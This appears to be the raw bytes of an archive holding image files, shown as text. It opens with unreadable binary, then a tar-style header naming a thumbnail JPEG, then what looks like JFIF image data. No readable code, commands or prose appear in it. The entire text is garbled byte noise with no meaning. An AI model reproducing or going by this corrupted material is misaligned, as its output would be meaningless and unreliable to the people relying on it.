kN��g����݈��#�1nXe���-&!���ܩ��i{��B;���C�'�۪Q([���y	��HqK�hK���C��$N��ݵ�D����]ƋR�;\U�bO�cKB(��ȚR;\�Z<�J|���n�'�l;/��䶉i*��fK���ȟ#%�nK�Uf<\��'�s�b���rY�j��c‚�K�RaQ\����,��Ƴ�ywdoD�~�K�&�J�𥐭���\�-�E��{�������P�/f�RZ$�.�Ndǘ�r7|��f��ud���rwV��Z�'i�Dq�^,�\�X^f�.J����J���~F�	m�^�	d$_�~N��>+�v.f�U��|�𘼾<%�1hu^ixkC����?���i��)��;J>�}"����e���s����ق�a��>��?��G�®>��:P���b�mᱲ�\㳇�p�8�(t�C���ײ�\��=c�+��gF(6�@l"�i��g������&�Nʯ_�6A�>�&��}�3@�>�lw��?J��E�O��`�X,>�m�o�b}vcMލK����`�X,��a�`��'��?!��@�T�P:�e����+��b��E�vO/ba[rf�uD�LS1~
�>��#Ժ����փ4�4ބL�;��H�P�2ޚ@��~����-$�ȡ������wb�t�D�xb��ۈL}G�Įl[��"\��qr0 ��(�N��Z!H��c�+K�r�����S��Ȭ��"E�X8�Ѥ�7b�:GϱX�~�y�ڝ˜���l-ƿ�$�D`�5'�X�nu��� Q<4ُ~X������:��=?j1F7<��d@���#�tDSJ�bpw��O1��dk�&�:~e��v�9���xU�!�'"�bys��G���H��W?�L=ep<�dp��&���#�Ls9��ý�f�TM�=�����YNX��~��p���BF1͗��꾩z��)	�Ѝ�d�[$q�s
G��v�q�OV�z��-v����͖�JH`F)�s{�w���p&C��A1��HՀ���N(�U:z��y,�#0����_uZ/3֚��K�ck3�\�,"0
��q	-�*���GԮ�JI�h�ǔbA�8�� �'��Z����׶�c���e�%�Aľu8R=�YH��r���Zb�0�9_r
G�D��S)R#tPo�td$	t?����OZg"����1�ه�ߚ��F��\��4�&����Q�z����P�f[q4B܀�,޴�<�ĔD�LzV�%�l�nZ��>���iR��5�,�	� t�`V�<��M���ZB���Y~Y"0#�6N0B�����Ǝ���?NQ��#���Ӕet�F�4�i!A��<Q�&p	��)˒q)��b�"��(+m�
��	EQb}�_R�"@�(܈
*�U;?��QpJ'��헁�G���5�T��sdb�^�1��?Aj}���2�`����)NT��~��1��p�*w��j��j+��S ��1���k��"G���*F��73}�j�™�D&��Lj����24X-2��p
g��Ȗ5�fX8&��K��"#��9H��6��Ϋ��=��ܲ^/���VV�'�|��A��7�,LH���q��P�ݷR���Iq���	j����t�}~���]�C�=�'i�!�u��E􁓝I���[֨bz��?�����8��U���w��{W�q�sqR{�Q�C"d��Fԭ�@`¢��X0!�c`yS
��Ai�<�a�d_����D�ġ�4BF'2޷�<������R)�	�U���Չa�׏2�9.i6@dv+Ľ��Հ�>�rڧS�?�8���rJp�G;8�b|�nO�9~��1�{2��lA�`xl:�͑�MkR��P�))�;�-U���Hd��6��P@Q�$c*-O�(�+q1�H�r3�x��?�M+n8H�,�0��q���8��B��rh�M�Q��d�?LT��h����F��yB��%J�b�ܲ�H�e�}��<��[����w���94F~e�<L4mDz�mGؿ��(�"N�^DwI���߰[�$��C\�u[1GL<3މB:� ��a���G�y<
p�EєU��n鉌��V��^�?
0�I[�87Z	�GNq�NPq��f����_0@�{�r��P,�`Z0�����Ԁݗ-����q��b�Aۈ���!�o��T"
nrx]�9���I�hA�E�ޖ����mX�?G2��~�QR�s�*�-��2s&_ė��2$��K�'G�V��e����J�#וoKy�Z�|�$�:���)Z���OJ��j�Y"@`M=�r��9�<��y{X�1�H��[�݌bD>#�l�<���J$���^�dr�'����p�]$���_�29)�,	2�6��w$��w,�KÓD�Di�F'�b*:P��}q�d(����T"G4��z֐in��
l��U����u#�ձ՗4�¬��W���+C��Z�ĥt��Ht�����@�8�~�1<���#*lvb*�"u@;�y�;��0/.ҵr�Z���<Dz�P���j~Y�[�h�yb:A�n�k����G�KpQ�Z�	n��'�E<y�v�%Y~���ćC�S�l����\t�ej0Ū�זD�Dq�#��;��D�	otu�_Q���Ȁ��.��
��_����c(�\�B4R�ė��"9c�;��jZ���Ж�:z����S�w(j���IV����J��u�9b�=�!��� "�8�.	�K��Q�-�zR_rI�����d{ �b�3��t��`�r?ù�	�ң�EK���iiot����y<1V��N�Żp�JG����#گB2:avq���e|]�kځ��sƛ���"t��F#$Nr4^X�+d�S��w���F9�� 2Q��W6*��UF#F�ӟ̑�t-f~��o)nu��0�����?ˆ8�J�5znQJ	EI���bFҴx�n᠌�O��1X^���R��!����!��Y0�g�2���߉�s�خǧ�R�3�*+�|O��ܷQx{ѱ:C��׷�T"1*��J$�w���/+?0Lș��-�i�_<�
AwM��G��ƣrܛx�8H����!e"���� X�N���@č>���a��(��f2���h��mF1�N��i	�S`lFSJ�r�	`Hs�
����no�F �]�0�0"<L��4�17R1#"(]H1Q�Pu�C�Z.޷�.�]e+��rv:]����eS�й׳.I��P�M�r��qބQ���yO�jȣ
�ߎ�7��℔�����)S�q�P'j���T�iS|y�/�B��Y�;��N$���qf�D��2�~y�<��enG��t$0V���W]�GJ��C �Q�:)	�;���Zb��F�ȴ�:�3&�(DeTf{!��p�
�ZH�l	W�0��%�U�[H�h��dq%���̮���QJ1$�/Un'��/x#d�
c���K�\�.��XqհBD�ܼ
��F�)�p�H��Z/,��Ha0�D�t�7��D�@]���d��4>Š�a��S�����Z�b>�cq�kT�5�<���z ����2������	H��$�m���ӟRk�m�Y�^�1rxI���=��y�fט�ؖ?v]�����ݘ�H ���f�S��#̌|3�J-/Ĭޑ�v��f�/Ա�G��j���r߆ .F��-��#�h=}m��.'�PU��t��}�g��+��k6T����(�QB7㩨��+\�2�zGڣt	e1��C"\"x����$�!��A�ǁ������8"nGS�2T)
�C���M���g=#���UHxQ�`u�/�m��_T#֒�m+��`�v*0��d��'�q�Q�FBE���! ^G-ʷ伅��sH���V|�ɉJ��PH�?2�e"��/%��_�1��<��%�/��p���z����'7��Y��Z?��h�9/�G<����@�����JH��L��2o�A�6��NGT,�j=�݌nx���M�h��� ��=YD&���� �!	J'��A+<�uL@+U�p� CȝC��bZ#!�C�b�x�w6�)�8([���[�=H\=i]�7�.�"��-�H�ҨAZ���M �c�A<���Q�E

�ta��F���i��_���1���
��P�ϛWV9���۬�tҚ"�j�N��r9�����^i똫w%
wo
dK�c�i�[��Bȵ��t�~$%��:.@s[8\o�Er��E�d*$���#�(�e�F(��E��ƃ�+�nu���/��)��ů=�����9�s��xh!*�0�?+oTH�G�#j�"�J�PV�iB�D��'&'�����$tǝ(ǭ8N#�CLP�I��gÜ}���~\�`IȭQ"Q9��G�6FR��/�R�]��4����F��ߴ��}�w���zԀ5�D&��Q	�R5%i
�x���F2�.�=�	�+���.8�^<�)�W!�8V��bd8���2}��psé}�HC��4�E��t��/Hi�.�M�&OҵK��rB1��;"8n�I�rs�G�R��r�]i��h[��F�K3*���p����ȃ�Ǫ�xS��W�/�IK�����2%�#TI4
Мt���s74a�>qw�\�0>����Rvdm�|=_��U��cRW�Fݗ�����z��x�A�ީ������
*Q�ȏ�D��
?�//rכx��@�F+���x�jįt�vr�J�Kb��`%S��h���Q9���p~x����$�&$
eN�a0\��F2����Y��H�Dz��ω^
e�ew�JM�=�r����!s�IP��/�����e�]1΋�kg��+Ḛ+�$cl�ȗ;�i(�~b]�"+D �b!�����#�lc�YN�X��7#\�ĕ+��dqc��TL�߿�Nz��/�4dFe\��ދ^�	Oه{�q3V�'>�)�$��f*^6�ۺ�'�Ȗ�Tm߶E�P_��|Dcb.����JZ�枯��P�q��H�ԇ���]����
�$�ゔ<�cၝ�^��H�n}�vP*V.��g�˱5+6�gzӸ�O�MFo��Cw�	d{ӊ���T&AN�����oC,TcnF���K�ʢn����r���>�2�4a�#���)Ќ��xǬ3	�^
���.Z- ��a�*Wo
S�\[�Ǩ����'i��;�Z�I&�S�Q'�7s�qQ�������!�U[_Z�Hm�F���:��Mv�5\�*�H�ί}[�����Ċ�#r��#��ץ<�A��w.NyF��z��N��!A@�v!��I{�дL���HЂ:�F��MP���k��w��L;(���>	���F=�dL�cJZ�����q��(h@i�w�މ�Dl@�e��m/B>	
�`��'_��{3z����/��d+p�6����>uz�k�m�0�~
�V��Q-$���J��|��1)vz�Q��4"4�nL��F�ʌc!��z*6��s-n���p��w"~%9�̝7)���	=
xk�?^��;��A3��K��#��Y|C˽���WR��)HsC�Q�SԈ�LH���ZncH�a!��Ķ�Ȧ�N�MR1rb�e�A�
��A��O�GJ#�vhN{bK��jl�ZaN�K�;��N�p����B6���(�ib��6�i� 1dE�R}T �W��0{�p~�ơ�N|��8(�?ŗ5����W'�bJ3z�<[�H�a���ՙF�.DĠ
�S˖�:�׆li��
"��b��~哀���Du\��߂J6D�p�B$3�Eg�C1'y�K�S�e��@�1V%J��Y����?�EUP�
���n�s���?����"��Ii��ȷ0�C��8�_ݒ0���T��O��p;-J�F���w��kD���",�S�ܗX��S��Z���n٪��<ޠ��K0&�uT�(j�q��Ij�C8�h-=S�_���x&4;���e.�	�G3���}����#1�r��ڑʀ'��"�����?���6V���
4}(J�0Հ��T�{�
�/PN	���L.��#�?��F�%�W��B���>r?���D�������$;�/6Ψ�2<���Q5��;�����0�l��,�6`)=�O�FͣL$V*�C‘�m)^g��j�S�-����R�v:n@��1B@����DN �n� m�VO
�ĥn����?��F��32<�x�~����ؚ&�
��l�1� 5@qU/i��8�ЭoM�N�dP�D�i��4��5�[<B��.qS�L�FM�{�����#ߊ%�j#�jA�݊� b�,�0�
�ly��� ���r�DS��i�2|W�"	5
��Q�c"���ɽ��$�c��kQc�s���lk��<�Ƨ�:�������g#�cj:�"�#0z�6��Lb(6NX�a�a���N]�ҷ!�>բ�˱`�">�y�#��u~\Z��dأ�X�L�<��!�Nr=���N/�r��rDH� �([
׊�Y��4�=e�I�-Ov+\	���q�n-f�
8�'��3f��a�V]h���hF*6mȁ,B��P�5L��� ?��v5�"_vq직v�f=ˊ��M���)��>����S����~�L"M[(9� �T��FC�@N De����]�kRmZG��g�Ԙ����-ރL�����q���=~)�4V�X�4cݹ�F��&4��5JE�ź5y�b{����DK���֑��
�q�؏��B�巔Z_�mHY/)HV%���'o)���DI����dlY9{��xV��k;��_?7���_x"�LW ��S���n��R��u[�W��+qa'�.CI�@���V�t�8�u<K�>kˎlg����℣X҅����?�L����܌V��|�(d�ژ\��U��1Z���.��nYiZm�UÞ�ߚ3�5S��Pq_�^~X�E�0i�u@�J�!� �&=P��.L	�E�-W+E�XNe7$۞��io[nL��Su�O�����c�88�nجq0ܘ�%l�Q!���=!�U܌���wĩ�	�oT.���9q�FEQ���:L̤ш��Q�lØ��1+Tp�|�\�A0�Jܢ%0	����#k�� �=Y|)��7�1�D��F��U��Q�t4:ڲn�P��s�l	ŋ���Da���99!s�������
3ݑFBp�"pB'K`�DI��©�C�"'c>RF1�1�_
����x�N�2��|>i�^��eQ�6H��K��.y��J=X>9*
!9����2
!Ւ6�
S��ZA��s�B6���,�3�ФL4��"B��qE�A�F͈j��-�f{��b�HF[����q��L6SgڜuN2�pˎ�;�S
�"�%5��������*a�o)�-��Z39���.K�	8���@�ѭ�y�~��g��B�q�
2�8�LU6����w|�O��
���eSA�T�(��F0�G�`䕪����y�I9�?{�Q�p�BM(�WF!���DDH�#��'�!�)�Q�)%�d9�d#p��v��r��	��C��wP"����ʮ&�kvP��3̴��It	��߰ڈqW���Y�x�0�.����r�1���igoƌ�%
��c���؟�~[Wb���\6Sc��DD�
	�&��ФZKLI��a����Q�C\`�d#3T��e6}H�]x���Q�X���A���Ɗ���1�U8䜊 H�`��K���P�CD`>� ���淜sK�LBbV5�B��v��G-�j�sS��Q��9T�CR�@;�
��/t�~��f�K8�S�8��B$
��2E8�mJb�?��4�/��؍#�ɇ��DD�NEqUM�"5H���\ߐ�WWVc�?2�0�#���#(��-3�Z�k���*8�^�� �M�LʧO#TDpN^�&k[�9dG�q?K�p��o~c�ScXU@&.r�*��0��a�P�(��.�A�*zpGS���RS�Y�܀4*��Q���u��T۪�,2��!��}5��q�iA��"@�&"�0ɤY��C2AʌA��!h�x?��5���?4�dwd�'�u�Oj)��BS�*m�5H�s��>��9K0�uH��P��@/�2p�hZ�_�O���乲B`�F[�;'=��⁵&9�k`�mxzd�>/��jP#��´�t����C��Y���49����Ӝw�[;�6\�#�8��t!P�Zb5K �]�9G!���ގ��0Es�UM.�U)��&db�CIC��6xd�n8���uL�p4+J�K*ҡl�7 jU~���D7���;�~�?M�Hp��}�B�SvU���T���zc̿K�r7��jB�"ݲ�li����Ge�ĕ�Zo�B��?k��|���F���Uc�-�x�U.�?p/�e�0E�ļ����Ɉl��f)��`�ۧ�*^�S�>͖�}0TN�>Ϧ��'m�O�pt��aZ;�>ϑ?H��;nqa��t�wG�
��VO�=!����l�v��C�GӸ=���!�GӏJ�}�Gi�6��;�p���=!�����D����>�sԇ��g����O��a�o��images/thumbs/img9.jpg000066600000037575151150443020010702 0ustar00���JFIF��C
	
		
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=��C
=)#)==================================================������������А0Ό0ta�:0���:�	N�p�P@P8(
)����d3L�^����0�Fc�1рf�	8���PP����&LJE�fb��a@���d�a���ta��\�t$�S�( PE@�
(�I��el�$�ita��:0�F`c��z0�8�8Q��PPQ��C	��N�ta��0�F`���t�pAJpj����(�(&(�s+0VI�4h��$�Fa���a����c�@$����	�8LQNPI�3I��(�(
pQI�23ϩ�(=�ތ0�c�0�0�4�p`h2��1J�0
p)	3K>��|�(
�8����#3<��(�l0�F(ta�(ta��Ʃ6 
(�
�5���9iT���@Q�~����Eࢊ������jd0
�M��0��X���dS��*P�"��L`3X��\�@@S��(��g�<�)�h��NS�ɈD��((€��}�ÌP���
E�3�K4�(0���71���6��a��@�(��)�h���U;���E�b�8L���"I�U<@���Ôv�A����d&1cKt�e�����'O�!%��(��& �M&��)�EQN
y4�}\�`���-&#&L�"�Y���
���q�3htaHM�I���q�`<s��Ra ࢊp�2DI
P���
)�EQNS�_p|�����"@�B�1 P�&ؠ�6��1332�Isl�IQ��a艌0�(���I
�M )�EQE8d��}�����$D���3T�8(
}��Pf��31��M��۔��@�x��`ERb$LAJ��#
pC��(�+0;�ϊN�E� @�fd*s@�I�(�L5$ffBc4�gu�s��ʟb(0��8L�D����Lࢊ)�O&����I�D��
��
�s6�Ғ�c3&M&�\��:9ю�|���`11�E�#CYS�LQE���O�e�$)2L�"$2U���(�3lQ�tS32���d����t`1�LfP�a��)����H�
fB�N�QDRtC�>��L��$F�1� �@����qH ���;���G8���"��0�C�(0Š)"$��z��N
LQ&%&yg�;1�"!3�IS#2$8��sч:E��ŒT��D�+t�f1HHr�� ���0(8œ��)�0&(�ɈN�+<�폔"p���"ef*�
��F(L�3�ssw���:}�� f:ma�b��H�"f2T�}!��1�LJLVy��0g8�����@8�w=(H2�X�zS�K�xטNP`�p�zD�be�:PQ�$g3@�HDyb&!)1X����Rb̬�R
p>�zt��05���N�:QO4��"�0���{�K���A�(1��1��P�CQ��1��ɳ��}��&!L�f�P��=�$g$!Sc}Cl�ࢁ�ld(�p�3�c�$T���T�ʳ�77�5����'�D�O8B"�LS>��r'�A����
pP�	��,��OI���N&�C	2Fr�CqÚ���>��М�I���y�@
`k3& ���d٤��D�B��P8(�>�%Y$7���X�I���ɦc#3�\��
����k=�'}g�y�Fg�D݇�/�<��3a�,AI�&(��d>��rD�fB�@(�pP�.}8F����N���&pRg�y��g`0
��s�:m�>D�g��;#@���7�	K�>Ps	��PRg	� ���y�� @�@��2P@�
�L�d�J�����p�2@b=��0�f3�LRƓK}�c�fy��>��0ŠV�y��?N>�w�>`�X��b�)3���x��'Ő33�5J�(�@�9�
� \�OZwH
)�I� 1�b|���1��5��m�`d�����~�}i�s�0�(ԡ��~�;�A�"z
�bg	�8L�g�~�|Ir�d����I���@���ORw@
($f3<�폋3�@B���5KAZa231��|�꟧K菍n��F,x�:~�;�>ls1�=s	1&!2T���e�dk @�
�¥@�(�s�#=d4��N�Q@�!���p|8���5�ۤ�-"�1��
#�T�:_@|[v8
1c¬�s���<��G3�#�0
HRD�'O �
_F�B�S#*�@�
zH�3�&h=3֝��`(�c%d���o�Ȗ4����+��y��2$z���֟!;Q�F,|ud��'qQ�D�� ��&N�#<��όBdS$�P8(�����Nw@��Fc5fb�U�Y��X���MR�`��x�B�x�h}г�!A�Q��V~�}|�|ـ���\���&LJLVy��$(�2V`$�8���������$(�L�j��
�ڞ#��M����ϳ!S ���1�3��,`8d���ߗ�o�|�Ce
��BS8L���������&d���0@�
}�܌�c�
��N�B`)%f`.A���L	�.T�q��3
z���O�>�w��A�V{G�K�<��ǒP�Y@o�\���
N�t� 	� ̕8I�
��d p��Jw`D���12�����Xr�
��c�4��ʳ	�G֞�X��1���<!k2.mmHJbQE8#�y$�&H��u9�����f�OBwx�8�� @���p|k1P(tb�՟,9��Z����}�L�XQII��fAF>��y9pZ)���l|Ȣ�3���0�pP�f��f OA��Yp��8!R���b�"`ZU=�<��5����R�
���L�&(��3d$�P8#��ϊ!�����d(�ٵ f (77�4ˢ8�N��gȑ2��:RW4����8�&	�K2R���ȳ��P�A$����0�"f ��*T���sш�1�@�zF��8LS�(����i���`0�'X`4�"0t�Q	�!��&P�	
:p(�8�8�S�I$A���ɀ��g�
��
1s�=	�)08�y�#˗�d�t(T�"�!2��Rd)3$i.@�rt�����Ȑ$��d(�@��`$f3�L������b�E���
����3�
��锋=	3ѝs��)3�����	$�Vgd�P�(
}�یL��B \�[��&g@Q��hy�e@$DAI���M���)��=\�C���fc��ɒd��2��(��lt	"!�g�mmF�� ���}9�L-d�3�e�-b%���	)��!"f��\��DBf�i�$��U�d�8(�
�M�@���3�����R]:)1N��o<�%#=d�,]��,q�����Y"%�I�,�ZH�$L�c�ψd�%R�(��b�D�I�*k7m��8-,�"6K*4�
03�e3�
-Bl�2d��T���Y��L�0��(�slta��b���[t��(Q@ ����@t	�2Ve3�El��d��&i>���c#R����y�c�"H��
&�H�4:eр)����t$�fC����p���$)�@|k1V#P��
�M��
D� �j4�kГ��I���� `�������LBd��"X�M�ƲԀ��@PF>�m�:0�)��.k4���`1��@(���3�n,LBd���l�O�aX0�
(�}�0�F`"H�3�@���ik�t���m=RF`QDdL�3!Sx�D"!=#��6`*T
(�}�Fa��0�)	���L��(
``�����Y��L���H�M�$�7��<fy5���(��6�Fa�����RB�<��M%���pPRM�����c�XZ(�rƓY3�g�b*@8(
(�ͱрa��0���$F�P�yh*0��0��6�����L�!��ecVP�
dkt``�%H$,��r�h!2DIU�(��p�0H(��HhѾ�C4oZ��ti0�'Dd،��V񤃧��PF@)A����P0�0�0(S�I���%1F
3aFFP�(�(F��P�E$���@`�`�(H�(@8��% 0@P`���kZֵ�kZֵ�kYZ�J��ekZֵ�kZֵ�			���kZ��F��ekZֵ���{�U�U�kZֵ�kR	~խk�ֽ�zֵ�jBBBBB�`���FV�JֽW�JԄ����w�^���d�c��~?����ճ^C�R�,��ֵ�kZֵ�2�:��,��&�/�~>��c���6&��b�
:dN��kZֵ�k-k~%�^�:��,��ֵ�kZ�ج�|~Y��v�+��k_ȡB��_�kZֵ�kZְ�N'{{|��Y��!�`��N�m�kXX$2��kZֵb]�Ӻ��,�>�ֵ�k�(Q�#�DkZ���ֵ�e���,�ooI���Z:�׎�}~�#;!�>>u����p�kZֵ�jC������--kZֵ�B�(�q;��DDj#Z�ְ��fCE#�8kׯ^8#��>�;R�|�|I'ΰX�-�U�HkZֵv9��0�hkZԆ�
(P�	��ҵ��DDkf1�c��i^:�W��qX�k]��S��������,�I$�kŹl��HkZֵ�h��a�b�R��(P�B"&�A�ԉ�c��V��iZV�]ek]��G���k_:�Τ�Y,�K��ܷ	J֤$$5�v��"�%��ԡ	B�
0�_����Dj#XLc���kZҴ�b#��n4:_�kZֵ!!%��j1l[��(_m��A��`�BP�B�
2~�""5��Lc	�EkZ֕�D~�-��[_µ�
HHHId$$1lK��-����M��(P�B��������0{a1�PEb��+X�آ�?�HHHHHHHHb�l�E�u���M��…
(�P���Ǧ1�aJ��iZ�G��34��3�Z��0XK��C�b�/�2�l��)m�uy�""(P�B�$,�`�쉄EЊ�+X�����q}~S���G�����[#h8i�%��!!!(�z��֒�V�e��;��ؤE
(P�����=0�]X�k��kmKdU���|��\���>�T��$$,����l�h�/�����E
(P����z�L".�R)Z��n������kb/OOK[;a��c�Q�*]T�ŰX$0������B�
[S��1ȋ�P�#�Q쉄��b�+X������'zZ�~~~yٚ�K�0DR)�$�9B/��!$�(P�B�E
"����d$��
2;�0��X�iX����c�+AX��==,�ip\��X�o�HX.Yddc�!,|͖)B�
(P�!Ṝ��(P�#�J�E
(1#�������Y�G[�B�]H|���'1�
JU�e�8�W��kr1�+vB`��3���P�B�
{�,�(DD�w�=(P�X�+�B<�a������dW��l����`�z��Z��a�S��X�ӯ;i�`��I��a���P�B�
ֻl~�,�B�DL&~��FB�$q֑��("3s%�ŔYŰ-��	jqv��BB$�e{n9V�G��)",��^br20��֥���,I%�~v)	B�ԅ�����1�(DD�g�P�FB�1�V?R�	p��8��1�^b���tl,��gm7oK��)qd3)9[>Y��a�db�m�!�+$�K�0��$$$$5�l��Jdd(�/ܡFB���#�(]	dd�h�8��OO�����Hr6[�jp��i���&K[m�Hx��+���=c�NJ�	B脆�2ܱe
2dg�Q��!D�8�J"&	o���d�cL'�,V:��fAbX�r-������2��V�jqr4��孙ج�Alj�\�JE
(Sq7���P�F~�
2Lǘ��e�Dŗ(.29L&1��+ZW��~6��0fQ%��d�8k����Ye9����kټT��Q13�P�B�
)���Q��B�/أ!B�1�<Oe�F�%ʋ�̆0�ֵ�+X���-�SiK-h�E���K�/��V\�yP�tLL9��tP��NE2�B�HX,��2(Sc��P�Љ��"Ir��Y�Q�b�X�V�>6.i5��'
I}E�,g\����baM�(DDDDDS3�B�HX,�Jd(P�<lj��	�D�ߏv�lQb�����%�FL�3q2N�6eb���}s,���^��C
eD��x�DDDDDD]n��!!!`��(��P�Ly�I(P�ё��Qe�<��D�,�K%�����	�`�(��;,��
��6[�_�8e��d��K��""""""�Q�ɘ](Q�ߩFFB�f9$�P�����Qe8��D���bط-���n���Բ����is5��������l���_����a	Yd,�DDDDDEn�k��FGG~̌��DĖ9(]�dd(=q��I�^��p�@�G&9��tL�Zu���0���|�̃��t�x~��m�adK.l�m�������Sɝ
(�q3�dd.�X�%���e�I	K��p�K��2�܂�$�4���L]���G)'[i�qc��d�:���""+}3�1r
a0�L���Ė9,�B��f�|+;�P������+�)^,�a��㸹�L����Al�3`��dG8�Ek}�D#�	��/أ#;�I,�B�		.�|+�a�ز�
zz		jv��N��"�q.ūfP�(�~S��W# ��㸮�ux��Ј���a0�Q�,�d�ID%�!!��bI$�c�9b�:�֯^�vf�FTY[z9c����Ns# ���S���s�u��DDDL&�a�.�I$��/�k�����^X�XqG��S����)�Ev�Of1�P��_����r�a	�����	t$�%�.��0f)�/��̄�KAX�#m���ba2�H�X���"c0�9�Lu��[!�'S��0�q�F	B�e�İHz/����+_?�8���DLac�3+�1k��	ĵ�;e�����DDB��A0�DDDE��	B�		A$�,K��$��aA.���N'X���]��%�	���yf�R"""fVG��6D�""a��
`�!($�%�e��ZֳӠ�f'����؜YE�Y��1i^;1�]�W��e;(��JǢ�DDD�a3��yFؘL"&DHHJ(΋��\�-��(_K[i���,b�,��,�8�^���D�a0���ҕ�""""""e����ȘDL&N�V�B��%�.[����Hk�v.�u���q���dL&V�ؘL&	��e�qI�Y��a0�����P�B�-�r�,��kJ���+S����D�s�1c��	��a0�L�.*��dL&Z�V��BBB_E�n[����n�30u;�c��Lc�9�X���a0�L&8:�f�hL"���kKZ���t$�-����;W����wkZ�&1�s�,R�	��a0�NN.�a��η�m�!%��{-�r�o����Z��s�kZޞ����9��fB֕����a8���������v�HId�]z[��Yo��f,����1�====	��d;(���I��q8�Y	]*p�[-�$$�Y.Z���/ \,�v��l�1=�5�O�8�����в �(X�>�W����_�Z[�kZ��d�]g��/)yC�.�����鐑Z�X�B&jr8۸����~�_^���w ��W�Zֵ�kZֵ�	,�I%��B��9���G�������edg/t�P�D;�� YŜ[m��ȝ�/�-kZֵ�kZֵ�hBK$�I$��9ð��� [B�س ����YiZ��kZֵ�oOOOOOOOOOOK���%�X���~	`���|k���k[����������������������؜Y�Y��N��H����� ��S��Q
	"21R!03ABQar� CPSbq������#4@c����$�%Ds�&`���5ET���?��3Ct�
�mom{�q@S�bʵ�4ƙ�L�K��������WGm�z_�L��"Y��n�{h*�|�_htϤ[^��t@SC���~�6XD�Jl���*d�̇�T�3��8���k�V��~\�pV�]���c~��E0WI�K����RT��7�O
�HMF�R��xpP�@�(]*$Zϖ���_R���c��n�)���WF�2�P�+�$<]ɗ���B��K����ҵ�o2�L���G,TO4l����*R�ޓv��-�'�ʙ���.���߇�:�	5�i�Ͽ�:!�zz��*�Ŏ�C�֚�j��"�j�#_?7�R��K�<����;"����Z�1�k:׍'i1I��$��]�T��-QFä	���/���"F�$d�'���ԳD���$�mR��9i]m��ڙ�hE�MK]dk?d�%S�W7BQE����vL�Y�
r�|X�:x#oK�A���y������k����H�,�YE
U/g��/�{�-�?�?hL�͡EC��8�ǝ5&�Eu�F�j���>���Jr�d�$d�#d�6�枸��hк%3f��}��Ȼ��D�Z\s��5\��rA:S3���w��$0�$N�E�S�Bl�L�f&��"<)�I����:7`|��Z�2���9��h�Hn���1*���
2�bϺ7��k�2�T��n̺U8�b2B��8��V�ͤ�.]1�jn��R�0�������zhGj>2�D�d4�݌�ce0"��z��ǖ>L��E��x�y�����}ЇufҖ&��\�f��>�/��ۤ�ٖ�r�j���I�*Eɹ��:N1�0�~zp�+C�Oz��a�qx
�JZ��8"��g>��
��� u���G�a��
QvOk��	R���\�\�!�c��\mol�3�ݘj�t���Ě�����ٚ��.������}�T�7���#_2MJK��+:Uqx2�(w	v
�v��n�)���(g��C�L��#)}W]���|я���惾Y��ڄ}��+�
�	�'��Y�^T

do3C�zQ�T�&$<��;e�7jHݤ���;$����$l>�O
&La���6l��s�\���y�rzr���g\�T��C���E$J=�M:LK�̾:A��-Ssw�����vq�԰��@��y�{�GJ�`�ۺ^�)�K�v��=���CNjܑ�<p�^�)kA���2%���N�;C�`c�[�>�4��;�N��I�}C�s�����n�g���nw�V��͚7���<�9��P�����"��$H��'f
�$Jz��\�����<x��R�-R���{�&�*��}!@�nG�&�����.rßd����}�d�g[��W�H-{+15x��O
;>y�g1b�w+�>�zm�,��r�s%��3�x����Z!��(P�MH�$�ffT��x�.H#}Ѵ-���{hp5�<��;tn�'t:�UH�O��&�0-0-
s������;exڇ�
ZғB� 6�j�c�筅��(�X���C7"ͤ� ��G�r���i��A��d?�0�����TWS�(��jϖιx��l��&�KX��1�8[���|�.�������@v���~J�|��"2�!�A�<P~TQ����/����ڼss�����إ��Hh8y�Os3`�}!e��DULJ��u-lȍ�e�@CS�>��d��8�A ������h�q�.�F>xx+�[jv��u���i���~��r�8��C@1#�pB�	��m�i�d���ĉ�j�<�ZoqE�ST�w�1�a���4դ��|��#���&���!,=��5b�4UWg�;�y���hDĀ�<��?�7p�c��c���L�:�M�Iޕz�)�F;�BBXJ�Tl�y�2+�~5i�28&[�҆�w����6�o�9��EuBR�e��g�\>.y��w������r��-w4�ui�!i��=���
	�H��Ĕ\�47q%�?�DEQb��t���|n�CG��)���Q��եH�^p��g�jg#Rt��������vԳ�\K��R��K�IyYX�� =���<�3[&\��"�5bh�K�˔HHJ��
�<�9zFg�R�^��G)2�b�w"���g��P�P�����K��'d�VU�<.Fa�0h��lk<�TrA
�(r���:���v���r;C6��UU51�#>(�.�_�e��o0�����X�2��à
�)�z�z�;3S	�.<�V]���ȁ����r�[��^�#y��[qB(E
e�ƀ��~E�|�B��_���Y,쾷y���� bCK��C�?� k6�$g.��ȴ�i�P�S�t�T̴Y�O��.ƙ�i����Qܳ�{�JW��`��ţ�"h�1��;����e�a��ԋa�^�(P��#$h���68��Ƹ��P�
�s���цQ�w4[�
o��:�"t�.Գ>�P�
G��V֬%Z/�e��Q�	�>�f%ƒ�;p�Q�g毾W�p!B*�"�
L�
R���>'�����拇L#2���ޕ?�q�E,�S-0P헊s@��<��t������9�d#��`��i�|���Rq��[Q��h�XTZ���.=�1oM��2��;~�33�e����K톫yb��p
4F���G�VobOٙ���r�M��K42ž��H�z0�������	��C����׹t�~���qC�Wf^壚
�T�iL�H�mq%�/��V�����Z
�^��@�4�HI5hKNuGR*2ϹgO
@W;D�Ϟ&
�������H�d[�+ε�a��ڸ]p��U�Vf}��X��}H-2B�f��1/l7-�ى��t��5�c��^�s�:XA���5b�Ո��Z��{�����C���A�2�1���1!&���=��%8&���3�Nu�EDU^�s����u��7.:�Do�Jv���v:={q�Ej�u�x����T�b��>dEx��;HH�a�'|�S��V4��	�����Y�1�n鳦>O𾕰s��R�z<hd�d���ŏOHG�{�r	
%������٥�E�#�ln�$��*}�;eH;��G�W�\݁h���YR��V��~$}��#%Kd�Qf4XC8�z�L=蝷�uZ�:��ɚ�>4���D!ۏ�,�ӭ�˷i��(���}w�Ϝ�G��1&�X��Uձo}=����Փ����_�iՄ�r:ЕH]j��$4�y��
���ax0E)<�w�"=H��x��<�ۂ�6�=�x<�
�9E��mB�6��IS�wq�ZN��g{l�^����8�}eL�}*�p��>���K�2�)P�E��&OY�/n\՟f�����vB��I���U�!~�m���|�mC�tUղ�>-T�F��9�����p�)a+�*�����8÷�c�Tڢ�dᒩ9��@�r��1�՘c�Y0��Z#��}��"�j��W�s�ٲ�P�-���ߡ�࿦��]-����dr�],��]�I6�+�;�Cux�{�j�r^�(��WEf,��x�Ľ������O�Si̇h��W%O�r�dY���'�D����"�d�������y��>�����D?t<{%]�M��PUI��T���}���]T�c>:�_�
